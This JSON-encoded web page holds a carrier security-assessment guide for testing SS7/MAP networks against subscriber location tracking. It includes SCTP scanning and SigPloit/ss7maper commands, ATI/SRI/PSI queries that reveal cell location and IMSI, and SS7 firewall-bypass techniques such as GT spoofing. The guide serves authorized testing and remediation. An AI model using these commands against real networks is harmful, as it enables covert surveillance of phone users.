[{"data":1,"prerenderedAt":554},["ShallowReactive",2],{"guide-ss7-location-tracking-assessment":3},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"protocol":10,"category":11,"difficulty":12,"estimatedTime":13,"tools":14,"body":18,"_type":548,"_id":549,"_source":550,"_file":551,"_stem":552,"_extension":553},"\u002Fguides\u002Fss7-location-tracking-assessment","guides",false,"","SS7 Location Tracking Assessment","Methodology for assessing carrier vulnerability to SS7 MAP-based subscriber location tracking via AnyTimeInterrogation, ProvideSubscriberInfo, and SendRoutingInfo.","SS7 \u002F MAP \u002F SIGTRAN","Protocol Audit Guide","Advanced","3-4 hours",[15,16,17],"sigploit","ss7maper","sctpscan",{"type":19,"children":20,"toc":525},"root",[21,30,36,43,74,80,87,100,106,115,121,127,132,141,149,167,173,178,187,193,198,207,213,219,228,234,339,345,351,453,459,502,508],{"type":22,"tag":23,"props":24,"children":26},"element","h1",{"id":25},"ss7-location-tracking-assessment-map-protocol-methodology",[27],{"type":28,"value":29},"text","SS7 Location Tracking Assessment — MAP Protocol Methodology",{"type":22,"tag":31,"props":32,"children":33},"p",{},[34],{"type":28,"value":35},"This guide documents the methodology for testing carrier SS7 networks against unauthorized subscriber location tracking. It covers MAP (Mobile Application Part) operations including AnyTimeInterrogation (ATI), ProvideSubscriberInfo (PSI), and SendRoutingInfo (SRI) that enable real-time geolocation of mobile subscribers.",{"type":22,"tag":37,"props":38,"children":40},"h2",{"id":39},"prerequisites",[41],{"type":28,"value":42},"Prerequisites",{"type":22,"tag":44,"props":45,"children":46},"ul",{},[47,59,64,69],{"type":22,"tag":48,"props":49,"children":50},"li",{},[51,57],{"type":22,"tag":52,"props":53,"children":54},"strong",{},[55],{"type":28,"value":56},"TelcoChisel OS",{"type":28,"value":58}," with SigPloit and SS7MAPer installed",{"type":22,"tag":48,"props":60,"children":61},{},[62],{"type":28,"value":63},"SCTP connectivity to the target SS7 network (via legitimate test interconnect or lab setup)",{"type":22,"tag":48,"props":65,"children":66},{},[67],{"type":28,"value":68},"Valid SS7 Global Title (GT) for source addressing",{"type":22,"tag":48,"props":70,"children":71},{},[72],{"type":28,"value":73},"Understanding of ITU-T Q.700 series and 3GPP TS 29.002 (MAP specification)",{"type":22,"tag":37,"props":75,"children":77},{"id":76},"phase-1-ss7-network-reconnaissance",[78],{"type":28,"value":79},"Phase 1: SS7 Network Reconnaissance",{"type":22,"tag":81,"props":82,"children":84},"h3",{"id":83},"_11-sctp-endpoint-discovery",[85],{"type":28,"value":86},"1.1 SCTP Endpoint Discovery",{"type":22,"tag":88,"props":89,"children":94},"pre",{"className":90,"code":92,"language":93,"meta":7},[91],"language-bash","# Discover SIGTRAN M3UA signaling endpoints on the target network\nsudo sctpscan -d 10.0.0.0\u002F24 -p 2905 -r\n\n# Identify STP (Signaling Transfer Point) addresses\nsudo sctpscan -d 172.16.0.0\u002F16 -p 2905,14001 -r\n","bash",[95],{"type":22,"tag":96,"props":97,"children":98},"code",{"__ignoreMap":7},[99],{"type":28,"value":92},{"type":22,"tag":81,"props":101,"children":103},{"id":102},"_12-ss7-topology-mapping",[104],{"type":28,"value":105},"1.2 SS7 Topology Mapping",{"type":22,"tag":88,"props":107,"children":110},{"className":108,"code":109,"language":93,"meta":7},[91],"# Use SS7MAPer for automated topology discovery\npython3 ss7maper.py --target-gt 441234567890 --source-gt 441111111111 --mode discovery\n\n# Map accessible HLR, VLR, MSC, and SMSC nodes\npython3 ss7maper.py --target-gt 441234567890 --mode map-nodes\n",[111],{"type":22,"tag":96,"props":112,"children":113},{"__ignoreMap":7},[114],{"type":28,"value":109},{"type":22,"tag":37,"props":116,"children":118},{"id":117},"phase-2-location-tracking-tests",[119],{"type":28,"value":120},"Phase 2: Location Tracking Tests",{"type":22,"tag":81,"props":122,"children":124},{"id":123},"_21-anytimeinterrogation-ati",[125],{"type":28,"value":126},"2.1 AnyTimeInterrogation (ATI)",{"type":22,"tag":31,"props":128,"children":129},{},[130],{"type":28,"value":131},"ATI queries the HLR\u002FHSS directly for the subscriber's current Cell-ID, LAC, and serving MSC address:",{"type":22,"tag":88,"props":133,"children":136},{"className":134,"code":135,"language":93,"meta":7},[91],"# Send ATI request via SigPloit\ncd \u002Fopt\u002Fsigploit && python3 sigploit.py\n\n# Select: SS7 > Location Tracking > AnyTimeInterrogation\n# Target MSISDN: +44xxxxxxxxxx\n# Source GT: \u003Cyour-test-GT>\n",[137],{"type":22,"tag":96,"props":138,"children":139},{"__ignoreMap":7},[140],{"type":28,"value":135},{"type":22,"tag":31,"props":142,"children":143},{},[144],{"type":22,"tag":52,"props":145,"children":146},{},[147],{"type":28,"value":148},"Expected Response (if unfiltered):",{"type":22,"tag":44,"props":150,"children":151},{},[152,157,162],{"type":22,"tag":48,"props":153,"children":154},{},[155],{"type":28,"value":156},"Current Cell Global Identity (CGI): MCC-MNC-LAC-CellID",{"type":22,"tag":48,"props":158,"children":159},{},[160],{"type":28,"value":161},"Age of Location Information (seconds since last location update)",{"type":22,"tag":48,"props":163,"children":164},{},[165],{"type":28,"value":166},"Serving MSC\u002FVLR address",{"type":22,"tag":81,"props":168,"children":170},{"id":169},"_22-sendroutinginfo-sri",[171],{"type":28,"value":172},"2.2 SendRoutingInfo (SRI)",{"type":22,"tag":31,"props":174,"children":175},{},[176],{"type":28,"value":177},"SRI is a legitimate MAP operation (used for call routing) that reveals the serving MSC address and IMSI:",{"type":22,"tag":88,"props":179,"children":182},{"className":180,"code":181,"language":93,"meta":7},[91],"# Send SRI request\npython3 sigploit.py\n# Select: SS7 > Location Tracking > SendRoutingInfo\n# Target MSISDN: +44xxxxxxxxxx\n\n# This reveals:\n# - IMSI (subscriber permanent identity)\n# - Serving MSC Global Title\n# - Roaming Number (MSRN)\n",[183],{"type":22,"tag":96,"props":184,"children":185},{"__ignoreMap":7},[186],{"type":28,"value":181},{"type":22,"tag":81,"props":188,"children":190},{"id":189},"_23-providesubscriberinfo-psi",[191],{"type":28,"value":192},"2.3 ProvideSubscriberInfo (PSI)",{"type":22,"tag":31,"props":194,"children":195},{},[196],{"type":28,"value":197},"PSI is sent to the VLR\u002FMSC to retrieve current subscriber state:",{"type":22,"tag":88,"props":199,"children":202},{"className":200,"code":201,"language":93,"meta":7},[91],"# PSI request via SigPloit MAP module\n# This returns:\n# - Subscriber State (idle\u002Fbusy\u002Fnot-reachable)\n# - Current Cell-ID (if Type A location info)\n# - IMEISV (handset identification)\n",[203],{"type":22,"tag":96,"props":204,"children":205},{"__ignoreMap":7},[206],{"type":28,"value":201},{"type":22,"tag":37,"props":208,"children":210},{"id":209},"phase-3-firewall-testing-evasion",[211],{"type":28,"value":212},"Phase 3: Firewall Testing & Evasion",{"type":22,"tag":81,"props":214,"children":216},{"id":215},"_31-test-ss7-firewall-rules",[217],{"type":28,"value":218},"3.1 Test SS7 Firewall Rules",{"type":22,"tag":88,"props":220,"children":223},{"className":221,"code":222,"language":93,"meta":7},[91],"# Test with different SCCP Calling Party addresses\npython3 ss7maper.py --target-gt 441234567890 --source-gt 331111111111 --mode ati\n\n# Test GT translation bypass\npython3 ss7maper.py --target-gt 441234567890 --source-gt 441234567890 --mode ati --spoof-hlr\n\n# Test with different MAP Application Contexts\npython3 ss7maper.py --target-gt 441234567890 --mode ati --map-ac v3\npython3 ss7maper.py --target-gt 441234567890 --mode ati --map-ac v1\n",[224],{"type":22,"tag":96,"props":225,"children":226},{"__ignoreMap":7},[227],{"type":28,"value":222},{"type":22,"tag":81,"props":229,"children":231},{"id":230},"_32-common-bypass-techniques",[232],{"type":28,"value":233},"3.2 Common Bypass Techniques",{"type":22,"tag":235,"props":236,"children":237},"table",{},[238,262],{"type":22,"tag":239,"props":240,"children":241},"thead",{},[242],{"type":22,"tag":243,"props":244,"children":245},"tr",{},[246,252,257],{"type":22,"tag":247,"props":248,"children":249},"th",{},[250],{"type":28,"value":251},"Technique",{"type":22,"tag":247,"props":253,"children":254},{},[255],{"type":28,"value":256},"Description",{"type":22,"tag":247,"props":258,"children":259},{},[260],{"type":28,"value":261},"Detection",{"type":22,"tag":263,"props":264,"children":265},"tbody",{},[266,285,303,321],{"type":22,"tag":243,"props":267,"children":268},{},[269,275,280],{"type":22,"tag":270,"props":271,"children":272},"td",{},[273],{"type":28,"value":274},"GT Spoofing",{"type":22,"tag":270,"props":276,"children":277},{},[278],{"type":28,"value":279},"Use a GT belonging to a legitimate roaming partner",{"type":22,"tag":270,"props":281,"children":282},{},[283],{"type":28,"value":284},"GT allowlist validation",{"type":22,"tag":243,"props":286,"children":287},{},[288,293,298],{"type":22,"tag":270,"props":289,"children":290},{},[291],{"type":28,"value":292},"AC Downgrade",{"type":22,"tag":270,"props":294,"children":295},{},[296],{"type":28,"value":297},"Use older MAP Application Context versions",{"type":22,"tag":270,"props":299,"children":300},{},[301],{"type":28,"value":302},"AC version enforcement",{"type":22,"tag":243,"props":304,"children":305},{},[306,311,316],{"type":22,"tag":270,"props":307,"children":308},{},[309],{"type":28,"value":310},"OpCode Encoding",{"type":22,"tag":270,"props":312,"children":313},{},[314],{"type":28,"value":315},"Alternate BER encoding of MAP operations",{"type":22,"tag":270,"props":317,"children":318},{},[319],{"type":28,"value":320},"Deep packet inspection",{"type":22,"tag":243,"props":322,"children":323},{},[324,329,334],{"type":22,"tag":270,"props":325,"children":326},{},[327],{"type":28,"value":328},"Split Messages",{"type":22,"tag":270,"props":330,"children":331},{},[332],{"type":28,"value":333},"Fragment across SCCP segments",{"type":22,"tag":270,"props":335,"children":336},{},[337],{"type":28,"value":338},"Reassembly-based inspection",{"type":22,"tag":37,"props":340,"children":342},{"id":341},"phase-4-reporting",[343],{"type":28,"value":344},"Phase 4: Reporting",{"type":22,"tag":81,"props":346,"children":348},{"id":347},"_41-finding-template",[349],{"type":28,"value":350},"4.1 Finding Template",{"type":22,"tag":235,"props":352,"children":353},{},[354,370],{"type":22,"tag":239,"props":355,"children":356},{},[357],{"type":22,"tag":243,"props":358,"children":359},{},[360,365],{"type":22,"tag":247,"props":361,"children":362},{},[363],{"type":28,"value":364},"Field",{"type":22,"tag":247,"props":366,"children":367},{},[368],{"type":28,"value":369},"Value",{"type":22,"tag":263,"props":371,"children":372},{},[373,389,405,421,437],{"type":22,"tag":243,"props":374,"children":375},{},[376,384],{"type":22,"tag":270,"props":377,"children":378},{},[379],{"type":22,"tag":52,"props":380,"children":381},{},[382],{"type":28,"value":383},"Title",{"type":22,"tag":270,"props":385,"children":386},{},[387],{"type":28,"value":388},"Unauthorized Subscriber Location Tracking via SS7 ATI",{"type":22,"tag":243,"props":390,"children":391},{},[392,400],{"type":22,"tag":270,"props":393,"children":394},{},[395],{"type":22,"tag":52,"props":396,"children":397},{},[398],{"type":28,"value":399},"Severity",{"type":22,"tag":270,"props":401,"children":402},{},[403],{"type":28,"value":404},"Critical",{"type":22,"tag":243,"props":406,"children":407},{},[408,416],{"type":22,"tag":270,"props":409,"children":410},{},[411],{"type":22,"tag":52,"props":412,"children":413},{},[414],{"type":28,"value":415},"CVSS",{"type":22,"tag":270,"props":417,"children":418},{},[419],{"type":28,"value":420},"9.1 (AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:H)",{"type":22,"tag":243,"props":422,"children":423},{},[424,432],{"type":22,"tag":270,"props":425,"children":426},{},[427],{"type":22,"tag":52,"props":428,"children":429},{},[430],{"type":28,"value":431},"Impact",{"type":22,"tag":270,"props":433,"children":434},{},[435],{"type":28,"value":436},"Real-time geolocation of any subscriber on the network",{"type":22,"tag":243,"props":438,"children":439},{},[440,448],{"type":22,"tag":270,"props":441,"children":442},{},[443],{"type":22,"tag":52,"props":444,"children":445},{},[446],{"type":28,"value":447},"Remediation",{"type":22,"tag":270,"props":449,"children":450},{},[451],{"type":28,"value":452},"Deploy SS7 firewall with ATI\u002FPSI blocking for untrusted GTs, implement GSMA FS.11 category filtering",{"type":22,"tag":81,"props":454,"children":456},{"id":455},"_42-reference-standards",[457],{"type":28,"value":458},"4.2 Reference Standards",{"type":22,"tag":44,"props":460,"children":461},{},[462,472,482,492],{"type":22,"tag":48,"props":463,"children":464},{},[465,470],{"type":22,"tag":52,"props":466,"children":467},{},[468],{"type":28,"value":469},"GSMA FS.11",{"type":28,"value":471},": SS7 Interconnect Security Monitoring and Firewall Guidelines",{"type":22,"tag":48,"props":473,"children":474},{},[475,480],{"type":22,"tag":52,"props":476,"children":477},{},[478],{"type":28,"value":479},"GSMA IR.82",{"type":28,"value":481},": SS7 Security Network Implementation Guidelines",{"type":22,"tag":48,"props":483,"children":484},{},[485,490],{"type":22,"tag":52,"props":486,"children":487},{},[488],{"type":28,"value":489},"3GPP TS 29.002",{"type":28,"value":491},": MAP Protocol Specification",{"type":22,"tag":48,"props":493,"children":494},{},[495,500],{"type":22,"tag":52,"props":496,"children":497},{},[498],{"type":28,"value":499},"ITU-T Q.713",{"type":28,"value":501},": SCCP Formats and Codes",{"type":22,"tag":37,"props":503,"children":505},{"id":504},"practice-in-telcosec-academy",[506],{"type":28,"value":507},"Practice in TelcoSec Academy",{"type":22,"tag":31,"props":509,"children":510},{},[511,513],{"type":28,"value":512},"👉 ",{"type":22,"tag":52,"props":514,"children":515},{},[516],{"type":22,"tag":517,"props":518,"children":522},"a",{"href":519,"rel":520},"https:\u002F\u002Fapp.telcosec.net",[521],"nofollow",[523],{"type":28,"value":524},"Launch the SS7 Red Team Lab on App.TelcoSec.Net",{"title":7,"searchDepth":526,"depth":526,"links":527},2,[528,529,534,539,543,547],{"id":39,"depth":526,"text":42},{"id":76,"depth":526,"text":79,"children":530},[531,533],{"id":83,"depth":532,"text":86},3,{"id":102,"depth":532,"text":105},{"id":117,"depth":526,"text":120,"children":535},[536,537,538],{"id":123,"depth":532,"text":126},{"id":169,"depth":532,"text":172},{"id":189,"depth":532,"text":192},{"id":209,"depth":526,"text":212,"children":540},[541,542],{"id":215,"depth":532,"text":218},{"id":230,"depth":532,"text":233},{"id":341,"depth":526,"text":344,"children":544},[545,546],{"id":347,"depth":532,"text":350},{"id":455,"depth":532,"text":458},{"id":504,"depth":526,"text":507},"markdown","content:guides:ss7-location-tracking-assessment.md","content","guides\u002Fss7-location-tracking-assessment.md","guides\u002Fss7-location-tracking-assessment","md",1790363496898]